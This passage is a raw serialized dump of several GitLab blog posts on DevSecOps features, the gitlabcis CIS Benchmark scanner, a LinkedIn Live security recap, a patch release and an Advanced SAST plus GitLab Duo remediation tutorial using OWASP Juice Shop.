workflows. To learn more, check out our [releases page](https://about.gitlab.com/releases/categories/releases/).\n\n> Get started with these new features today with [a free, 30-day trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F).",[695,754,943,674,110],{"slug":3989,"featured":92,"template":678},"3-gitlab-features-to-level-up-devsecops-workflows","content:en-us:blog:3-gitlab-features-to-level-up-devsecops-workflows.yml","3 Gitlab Features To Level Up Devsecops Workflows","en-us/blog/3-gitlab-features-to-level-up-devsecops-workflows.yml","en-us/blog/3-gitlab-features-to-level-up-devsecops-workflows",{"_path":3995,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3996,"content":4002,"config":4007,"_id":4009,"_type":16,"title":4010,"_source":17,"_file":4011,"_stem":4012,"_extension":20},"/en-us/blog/introducing-the-source-insights-for-the-future-of-software-development",{"title":3997,"description":3998,"ogTitle":3997,"ogDescription":3998,"noIndex":6,"ogImage":3999,"ogUrl":4000,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4000,"schema":4001},"Introducing The Source: Insights for the future of software development","Explore our new publication for transformative software development strategies and expert advice on emerging technologies.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","https://about.gitlab.com/blog/introducing-the-source-insights-for-the-future-of-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing The Source: Insights for the future of software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2024-10-29\",\n      }",{"title":3997,"description":3998,"authors":4003,"heroImage":3999,"date":3985,"body":4005,"category":736,"tags":4006},[4004],"Chandler Gibbons","Modern software development is transforming the way organizations create, deliver, and scale business value. Teams must be able to build solutions quickly and efficiently while navigating rising security threats, emerging technologies, and increasingly complex compliance demands.\n\nToday, GitLab is launching [The Source](https://about.gitlab.com/the-source/), a new publication that covers the evolution of software development as an engine for business success. We offer regular insights into the future of software development, supported by original research and analysis from our subject matter experts and thought leaders.\n\nOn The Source, you will find answers to questions such as:\n* How can leaders measure the ROI of AI across the software development lifecycle?\n* What’s the best way to ensure security and compliance across the entire software supply chain?\n* What types of efficiencies will teams see from platform and toolchain consolidation?\n\nHere’s a sample of what's on The Source today:\n\n**4 steps for measuring the impact of AI**\n\n\"Evaluating the productivity of AI-enhanced coding requires a more nuanced approach than traditional metrics such as lines of code, code commits, or task completion. It necessitates shifting the focus to real-world business outcomes that balance development speed, software quality, and security.\"\n- [Learn the 4 steps from AI expert Taylor McCaslin.](https://about.gitlab.com/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Addressing the root cause of common security frustrations**\n\n\"DevSecOps promises better integration between engineering and security, but it’s clear that frustrations and misalignment persist. That’s because these challenges are symptoms of a larger problem with how organizations view security, as well as how teams work together and how they allocate time to security.\"\n- [Solve this disconnect with expert advice from GitLab CISO Josh Lemos.](https://about.gitlab.com/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**Driving business results with platform engineering**\n\n\"Platform engineering aims to normalize and standardize developer workflows by providing developers with optimized 'golden paths' for most of their workloads and flexibility to define exceptions for the rest.\"\n- [Discover GitLab Field CTO Brian Wald's best practices for platform engineering success.](https://about.gitlab.com/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## Make The Source your decision-making partner\n\nVisit [The Source](https://about.gitlab.com/the-source/) today to explore the latest insights, get answers to your leadership questions, and learn something new to share with your teams. You can also subscribe to our newsletter for regular updates directly to your inbox. Join our community of forward-thinking technology leaders and help shape the future of software development.",[790,674,736,943],{"slug":4008,"featured":92,"template":678},"introducing-the-source-insights-for-the-future-of-software-development","content:en-us:blog:introducing-the-source-insights-for-the-future-of-software-development.yml","Introducing The Source Insights For The Future Of Software Development","en-us/blog/introducing-the-source-insights-for-the-future-of-software-development.yml","en-us/blog/introducing-the-source-insights-for-the-future-of-software-development",{"_path":4014,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4015,"content":4021,"config":4027,"_id":4029,"_type":16,"title":4030,"_source":17,"_file":4031,"_stem":4032,"_extension":20},"/en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance",{"title":4016,"description":4017,"ogTitle":4016,"ogDescription":4017,"noIndex":6,"ogImage":4018,"ogUrl":4019,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4019,"schema":4020},"New CIS GitLab Benchmark scanner boosts security and compliance","GitLab's gitlabcis scanner determines level of compliance for GitLab projects. Learn how to install and use the tool with this tutorial, as well as what's on the roadmap.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664530/Blog/Hero%20Images/AdobeStock_282096522.jpg","https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New CIS GitLab Benchmark scanner boosts security and compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"},{\"@type\":\"Person\",\"name\":\"Neil McDonald\"},{\"@type\":\"Person\",\"name\":\"Nate Rosandich\"}],\n        \"datePublished\": \"2024-10-29\",\n      }",{"title":4016,"description":4017,"authors":4022,"heroImage":4018,"date":3985,"body":4025,"category":674,"tags":4026},[1544,4023,4024],"Neil McDonald","Nate Rosandich","GitLab's CIS Benchmark scanner, [gitlabcis](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis), is open source and available. The [Python](https://www.python.org/downloads/) CLI tool audits a GitLab project against the [Center for Internet Security (CIS) GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/17538), and delivers [recommendations as code](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/recommendations?ref_type=heads#recommendations) formatted in YAML.\n\nIn April, we introduced the [CIS GitLab Benchmark](https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security/) to improve security and offer hardening recommendations to GitLab's customers. [The benchmark is available for download](https://workbench.cisecurity.org/benchmarks/17538) from the CIS website.\n\nIn this article, you'll learn:\n* [How to install and use the gitlabcis scanner](#how-to-install-and-use-the-gitlabcis-scanner)\n* [gitlabcis scanner details](#gitlabcis-scanner-details)\n* [GitLab scanner and product roadmap](#gitlab-scanner-and-product-roadmap)\n\n## How to install and use the gitlabcis scanner\n\nYou can download and install the scanner using pip via [pypi](https://pypi.org/project/gitlabcis/), or download the source code from our [releases page](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/releases).\n\n```sh\npip install gitlabcis\n```\n\nThe scanner takes one positional argument (`URL`) and then options. The format is: `gitlabcis URL OPTIONS`\n\n```sh\n# example: generate a json report\ngitlabcis \\\n    https://gitlab.example.com/path/to/project \\\n    -o results.json \\\n    -f json\n```\n\nThe full command line options can be found in [the documentation](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/docs?ref_type=heads#gitlabcis-usage).\n\n![GitLab CIS Benchmark scanner](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675788/Blog/Content%20Images/Screenshot_2024-10-26_at_8.16.22_AM.png)\n\n## gitlabcis scanner details\n\nThe team extracted all of the recommendation controls from the [CIS GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/17538) and created them in YAML to be used as [controls as code](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/recommendations?ref_type=heads).\n\nEach control has its own [dedicated function](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/tree/main/gitlabcis/benchmarks?ref_type=heads) to enhance readability. This also allows an individual to observe how the control performs its audit.\n\nAdditionally, certain control functions have limitations. We have identified each of these, which can be found in our [limitations document](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/blob/main/docs/limitations.md?ref_type=heads).\n\nCurrently, the tool only accepts a _project URL_ input. It then only observes configuration at a _project_ level. It does however support administrative controls.\n\n* For example, the [1.1.2 - Code Tracing](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/-/blob/main/gitlabcis/recommendations/source_code_1/code_changes_1_1/code_tracing.yml) control attempts to audit _\"... any change to code can be traced back to its associated task\"_.\n    * This can be achieved with crosslinking issues in merge requests.\n    * Merge requests can be found at a project level, group level, or event instance level.\n    * The scanner currently only checks _at the project level_.\n* See [our roadmap](#gitlab-scanner-and-product-roadmap), which aims to address this functionality gap.\n\n> Contribute to the [gitlabcis scanner](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis/) project.\n\n## GitLab scanner and product roadmap\n\nThe creation of the scanner allowed us to contribute two features back into the product with the help of the community.\n\n* [Show crosslinked/related issues in merge requests via the API](https://gitlab.com/gitlab-org/gitlab/-/issues/461536)\n* [Groups API: Add Restrict group access by Domain](https://gitlab.com/gitlab-org/gitlab/-/issues/351494)\n\nWe want to augment the scanner to be able to accept instances or groups as input. For example, if you host GitLab at: [gitlab.example.com](http://gitlab.example.com), this could be used as an input to check at the instance level if you are compliant against the CIS GitLab Benchmark and the same for groups.\n\nAdditionally, certain controls can be set at the instance or group level and trickle down to the project level. There is work ongoing to include this functionality into the scanner. Check out the [epic](https://gitlab.com/groups/gitlab-org/govern/compliance/engineering/cis/-/epics/2) for more information\n\nOne important aspect is incorporating [this functionality into the GitLab product itself](https://gitlab.com/groups/gitlab-org/-/epics/7854). The GitLab compliance team is working on [incorporating the CIS GitLab Benchmark](https://gitlab.com/groups/gitlab-org/-/epics/13823) and other standards into the [Compliance Adherence Report](https://docs.gitlab.com/ee/user/compliance/compliance_center/). This will allow customers real-time reviews of instances, groups, and projects across a wide set of standards, not just CIS.\n\n> Learn more about the CIS GitLab Benchmark in our [public project](https://gitlab.com/gitlab-org/govern/compliance/engineering/cis/gitlabcis).\n",[674,754,943],{"slug":4028,"featured":6,"template":678},"new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance","content:en-us:blog:new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance.yml","New Cis Gitlab Benchmark Scanner Boosts Security And Compliance","en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance.yml","en-us/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance",{"_path":4034,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4035,"content":4041,"config":4046,"_id":4048,"_type":16,"title":4049,"_source":17,"_file":4050,"_stem":4051,"_extension":20},"/en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive",{"title":4036,"description":4037,"ogTitle":4036,"ogDescription":4037,"noIndex":6,"ogImage":4038,"ogUrl":4039,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4039,"schema":4040},"5 things to know from our LinkedIn Live Security Deep Dive","Security experts and product leaders offered their take on new developments in application security and the latest from GitLab 17.5.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659856/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25.png","https://about.gitlab.com/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 things to know from our LinkedIn Live Security Deep Dive\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2024-10-28\",\n      }",{"title":4036,"description":4037,"authors":4042,"heroImage":4038,"date":4043,"body":4044,"category":674,"tags":4045},[2700],"2024-10-28","[GitLab's October LinkedIn Live broadcast](https://www.linkedin.com/feed/update/urn:li:activity:7255246777077936128) brought together security experts and product leaders to discuss the latest developments in application security and highlight key features from the GitLab 17.5 release. In case you missed it, here's what you need to know.\n\n## 1. Software is moving faster and security is struggling to keep up\nDevelopment teams are shipping at record speeds, but their security counterparts are finding it difficult to meet that pace. Our [DevSecOps survey](https://about.gitlab.com/developer-survey/) revealed that 66% of companies are shipping code twice as fast as last year, while 55% of security teams are finding vulnerabilities after code is merged to test environments. With 80% of top data breaches coming from application layer attacks, this gap must be addressed.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023367700?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Market Insights\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 2. Advanced SAST is getting smarter\nGitLab's new [Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/) capabilities are a game-changer for security testing. Built on technology acquired from Oxeye, Advanced SAST offers cross-file and cross-function scanning with taint analysis. The star feature is a code flow view that lets developers trace vulnerabilities from source to sink, making it easier to understand and fix security issues.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023369304?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Advanced SAST\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> Learn even more with our [Advanced SAST tutorial](https://about.gitlab.com/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai/).\n\n## 3. Accidental secret commits are a thing of the past\nGitLab's new [secret push protection feature](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/) stops sensitive information from reaching your GitLab repository by checking the contents of each commit. Instead of dealing with the aftermath of exposed credentials, the system catches secrets before they're committed, saving security teams countless hours of remediation work.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023370222?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Secret Push\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 4. AI is a security catalyst\nAI isn't just for code completion anymore. GitLab Duo has evolved to understand merge requests and provide contextual security assistance. With the new Quick Chat feature (accessible via Alt+C), developers can get security insights without leaving their editor.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023385333?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Security\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 5. Static reachability reduces security noise\nThe new static reachability feature for Python and Java helps teams focus on vulnerabilities that matter. By identifying which dependencies are actually used in your code, it reduces false positives and helps teams prioritize real security threats.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1023388137?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Static Reachability\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Watch on-demand now\n\n[Watch the full \"Security Deep Dive\" recording](https://www.linkedin.com/feed/update/urn:li:activity:7255246777077936128) to see these features in action and hear more insights from our security experts.\n\nBe sure to follow GitLab on LinkedIn to be notified of our monthly broadcasts and get more insights and the latest news about AI-powered DevSecOps.",[790,674,3554,943,754],{"slug":4047,"featured":92,"template":678},"5-things-to-know-from-our-linkedin-live-security-deep-dive","content:en-us:blog:5-things-to-know-from-our-linkedin-live-security-deep-dive.yml","5 Things To Know From Our Linkedin Live Security Deep Dive","en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive.yml","en-us/blog/5-things-to-know-from-our-linkedin-live-security-deep-dive",{"_path":4053,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4054,"content":4059,"config":4064,"_id":4067,"_type":16,"title":4068,"_source":17,"_file":4069,"_stem":4070,"_extension":20},"/en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6",{"title":4055,"description":3864,"ogTitle":4055,"ogDescription":3864,"config":4056,"ogImage":3431,"ogUrl":4057,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4057,"schema":4058},"GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Morrison\"}],\n        \"datePublished\": \"2024-10-23\",\n      }",{"title":4055,"description":3864,"authors":4060,"heroImage":3431,"date":4061,"body":4062,"category":674,"tags":4063},[2205],"2024-10-23","This is the post for [GitLab Patch Release: 17.5.1, 17.4.3, 17.3.6](https://about.gitlab.com/releases/2024/10/23/patch-release-gitlab-17-5-1-released/).",[1464],{"slug":4065,"featured":6,"template":678,"externalUrl":4066},"gitlab-patch-release-17-5-1-17-4-3-17-3-6","https://about.gitlab.com/releases/2024/10/23/patch-release-gitlab-17-5-1-released/","content:en-us:blog:gitlab-patch-release-17-5-1-17-4-3-17-3-6.yml","Gitlab Patch Release 17 5 1 17 4 3 17 3 6","en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6.yml","en-us/blog/gitlab-patch-release-17-5-1-17-4-3-17-3-6",{"_path":4072,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4073,"content":4079,"config":4084,"_id":4086,"_type":16,"title":4087,"_source":17,"_file":4088,"_stem":4089,"_extension":20},"/en-us/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai",{"title":4074,"description":4075,"ogTitle":4074,"ogDescription":4075,"noIndex":6,"ogImage":4076,"ogUrl":4077,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4077,"schema":4078},"Quick vulnerability remediation with GitLab Advanced SAST + Duo AI ","Shorten your mean time to remediation by pairing Advanced SAST and artificial intelligence. This detailed demo shows you how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098458/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_24mPf16vAPHORs3d9y62q_1750098458538.png","https://about.gitlab.com/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quick vulnerability remediation with GitLab Advanced SAST + Duo AI \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-10-22\",\n      }",{"title":4074,"description":4075,"authors":4080,"heroImage":4076,"date":4081,"body":4082,"category":791,"tags":4083},[1622],"2024-10-22","With GitLab 17.4, we’ve made [GitLab Advanced SAST generally available](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/). [GitLab Advanced SAST](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html) is a static application security testing scanner designed to discover vulnerabilities by performing cross-function and cross-file taint analysis. By following the paths user inputs take, the analyzer identifies potential points where untrusted data can influence the execution of your application in unsafe ways, ensuring the vulnerabilities are detected even when they span multiple functions and files.\n\nGitLab Advanced SAST can be used together with [GitLab Duo Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability) in order to reduce the mean time to remediation (MTTR). GitLab Duo can provide practical, AI-powered examples of how threat actors can exploit vulnerabilities and offer light-weight remediation guidance, which can be used with cross-file analysis to enhance application security (AppSec) efficiency.\n\nThis tutorial will show you how to:\n* enable GitLab Advanced SAST\n* read results from the scanner\n* review the code flow of a vulnerability\n* use GitLab AI to quickly remediate the vulnerability\n\n## Enable GitLab Advanced SAST\n\nFollow the instructions below to enable GitLab Advanced SAST. You can also view this video to get started:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xDa1MHOcyn8?si=5SYuKgP-BdBryqcU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Run GitLab Advanced SAST on each code commit\n\nBefore using Advanced SAST, the following prerequisites must be met:\n\n- GitLab Ultimate Subscription ([free 30-day trial](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F))\n- GitLab SaaS or GitLab Self-managed (running Version 17.4)\n\nTo enable the GitLab Advanced SAST scanner:\n\n- On the left sidebar, select **Search** or **Go to** and find your project.\n- Add or edit the `.gitlab-ci.yml` to include the following:\n    - Test stage\n    - `Jobs/SAST.gitlab-ci.yml` template\n    - `GITLAB_ADVANCED_SAST_ENABLED` variable set to true\n- Apply the change.\n\nYour newly merged `.gitlab-ci.yml` should contain the following:\n\n```yaml\nstages:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  GITLAB_ADVANCED_SAST_ENABLED: 'true'\n```\n\nThis will now run the `gitlab-advances-sast` job within the test stage of your application along with all the other jobs you have defined. Advanced SAST will replace the semgrep SAST scanner for the [supported programming languages](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html#supported-languages).\n\n![Running `gitlab-advances-sast` job within the test stage of your application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098466/Blog/Content%20Images/Blog/Content%20Images/1_aHR0cHM6_1750098466629.png)\n\n\u003Ccenter>\u003Ci>GitLab Advanced SAST job in pipeline\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\n**Note:** You can fully configure the job as you would any job in GitLab. For more information, see the [CI/CD YAML syntax documentation](https://docs.gitlab.com/ee/ci/yaml/).\n\n## Remediate vulnerabilities in merge request (pre-production)\n\nJust like our previous SAST scanner, Advanced SAST allows you to scan source code in the diff of a feature branch. This allows us to address any incoming vulnerabilities before they make it into production. Here we can see the scanner results for the diff within a merge request:\n\n![Advanced SAST scanner results for the diff within a merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/2_aHR0cHM6_1750098466630.png)\n\nWhen selecting a newly detected vulnerability, we get the following details to assist with remediation:\n\n- **Status:** The status of the vulnerability (Needs triage, Confirmed, Dismissed, Resolved)\n- **Description:** Detailed information on the detected vulnerability\n- **Detection time:** Time vulnerability was detected\n- **Location:** Line of code where vulnerability is detected\n- **Severity:** Severity of vulnerability from CVE database\n- **Training:** Gamified training from our partners\n- **Solutions:** Information on how to remediate or resolve a vulnerability\n- **Identifiers:** Relevant links showcasing detailed description, exploitation, and remediation\n\n![Merge request with vulnerability insights](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/MR_with_vulnerability_insights_aHR0cHM6_1750098466632.png)\n\n\u003Ccenter>\u003Ci>Merge request with vulnerability insights\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br> \nVulnerabilities detected within an MR are actionable, meaning they can be dismissed or an issue can be created and populated with relevant vulnerability information.\n\nDismissing an issue saves AppSec teams time, because they can see relevant developer information when reviewing an MR. Creating a confidential issue allows developers and AppSec teams to further collaborate on resolving a vulnerability where a fix is not straightforward. Confidential issues have limited permissions and can be used with confidential merge requests to prevent possible malicious actors from exploiting.\n\nTo further support separation of duties and prevent vulnerable code from making it into production, you can require approval from certain people (for example, the security team) in order to merge vulnerable code.\n\n![GitLab security policies in action](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/security_policies_in_action_aHR0cHM6_1750098466634.png)\n\n\u003Ccenter>\u003Ci>Security policies in action\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\n**Note:** Learn more about Security Policies and how to implement them in the [Security Policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n## Manage vulnerabilities in production\n\nWhile preventing vulnerabilities from making it into production is crucial for application security, it is equally as important to manage vulnerabilities in production. When security scanners are run on a default or production-level branch, a [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) will be populated with the latest vulnerability data which can be used to triage and manage vulnerabilities.\n\n![GitLab Vulnerability Report sorted by Advanced SAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/5_aHR0cHM6_1750098466636.png)\n\n\u003Ccenter>\u003Ci>GitLab Vulnerability Report sorted by Advanced SAST\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nWhen selecting a vulnerability you get similar vulnerability details as seen in a merge request, making for a single source of truth for developers and AppSec teams.\n\n![Vulnerability page with vulnerability insights](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/Vuln_page_with_vulnerability_insights_aHR0cHM6_1750098466637.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page with vulnerability insights\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nAppSec teams can triage a vulnerability by changing its status and adding relevant details on the status change. Issues can be created to track the progress of a fix. From here, a developer can be assigned.\n\n## Examine vulnerable code flow\n\nFor vulnerabilities detected with Advanced SAST, we can see a \"Code flow\" tab on the Vulnerability page.\n\n![Advanced SAST - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/7_aHR0cHM6_1750098466638.png)\n\n\u003Ccenter>\u003Ci>GitLab Advanced SAST code flow\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nIn this example, you can see that a vulnerability is traced across multiple functions, giving deeper insight into the best practices we should put in place to not only resolve the vulnerability, but prevent similar vulnerabilities in the future.\n\n## Use GitLab Duo Vulnerability Explanation\n\nGitLab Duo can help you mitigate or remediate a vulnerability by using a large language model to:\n\n- Summarize the vulnerability\n- Help developers and security analysts understand the vulnerability\n- Show how the vulnerability can be exploited\n- Provide a suggested remediation or mitigation\n\nTo use Vulnerability Explanation, the following is required:\n\n- GitLab Ultimate subscription\n- GitLab Duo Enterprise seat\n- GitLab Duo must be enabled for your group or instance\n\nFrom the vulnerability report, you can select a SAST vulnerability and go to its Vulnerability page. From the Vulnerability page, you can do any of the following to explain the vulnerability:\n\n- Select the text below the vulnerability description\n- You can use AI by asking GitLab Duo Chat to explain this vulnerability and offer a suggested fix.\n- In the upper right, from the \"Resolve with merge request\" dropdown list, select **Explain Vulnerability**, then select **Explain vulnerability**.\n- Open GitLab Duo Chat and use the explain a vulnerability command: `/vulnerability_explain`.\n\nThen the vulnerable code will be processed by Anthropic’s Claude 3 Haiku model and provide the following data:\n\n![GitLab Duo Vulnerability Explanation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098467/Blog/Content%20Images/Blog/Content%20Images/vuln_explain_2_aHR0cHM6_1750098466640.png)\n\n## Putting it all together\n\nNow, let's put it all together with a concrete example. I will use the [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) as my demo application and run GitLab Advanced SAST to detect a vulnerability in production. Then I will use the vulnerability code flow and GitLab Duo to investigate vulnerability exploitation, and remediation. You can [follow along with this demo](https://gitlab.com/gitlab-da/tutorials/security-and-governance/owasp/juice-shop) and see this workflow in action by watching:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/H1S43oM44k0?si=2LYorTjByOHbCAko\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe detection and remediation workflow is as follows:\n\n- Enable GitLab Advanced SAST and run it on the project’s default branch.\n- Open the Vulnerability Report and sort by **Tool:GitLab Advanced SAST**.\n- Select the **Improper neutralization of special elements in data query logic** vulnerability found in `Basket.ts`.\n- Use the vulnerability code flow to understand the vulnerable paths.\n- Run **Explain this vulnerability** to see exploit information.\n- Run the application locally to attempt exploitation.\n- Change vulnerability status to \"Confirmed\" and provide relevant info.\n- Determine remediation path using all relevant data:\n    - Vulnerability page insights, Code Flow, Vulnerability Explanation results\n- Create a new branch and apply remediation.\n- Run the remediated application locally and try to exploit again.\n- Create a merge request with the fix.\n- Code change will be tested using CI to assure we don’t break the application.\n- Validate and merge MR.\n- Test exploit in deployed environment.\n- Change vulnerability status to \"Resolved\" on the Vulnerability page.\n\n**Note:** There are many ways to triage and remediate vulnerabilities, make sure to follow best practices set by your organization.\n\n# Useful links\n\nTo learn more about GitLab and how you can get started with enhancing your organization’s application security posture, check out the following resources.\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) \n* [GitLab Duo](https://about.gitlab.com/gitlab-duo/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Software Supply Chain Security Solutions](https://about.gitlab.com/solutions/supply-chain/)  \n* [GitLab Continuous Software Compliance](https://about.gitlab.com/solutions/continuous-software-compliance/)  \n* [JuiceShop Demo Application](https://gitlab.com/gitlab-da/tutorials/security-and-governance/owasp/juice-shop)  \n* [GitLab AppSec documentation](https://docs.gitlab.com/ee/user/application_security/)  \n* [Advanced SAST  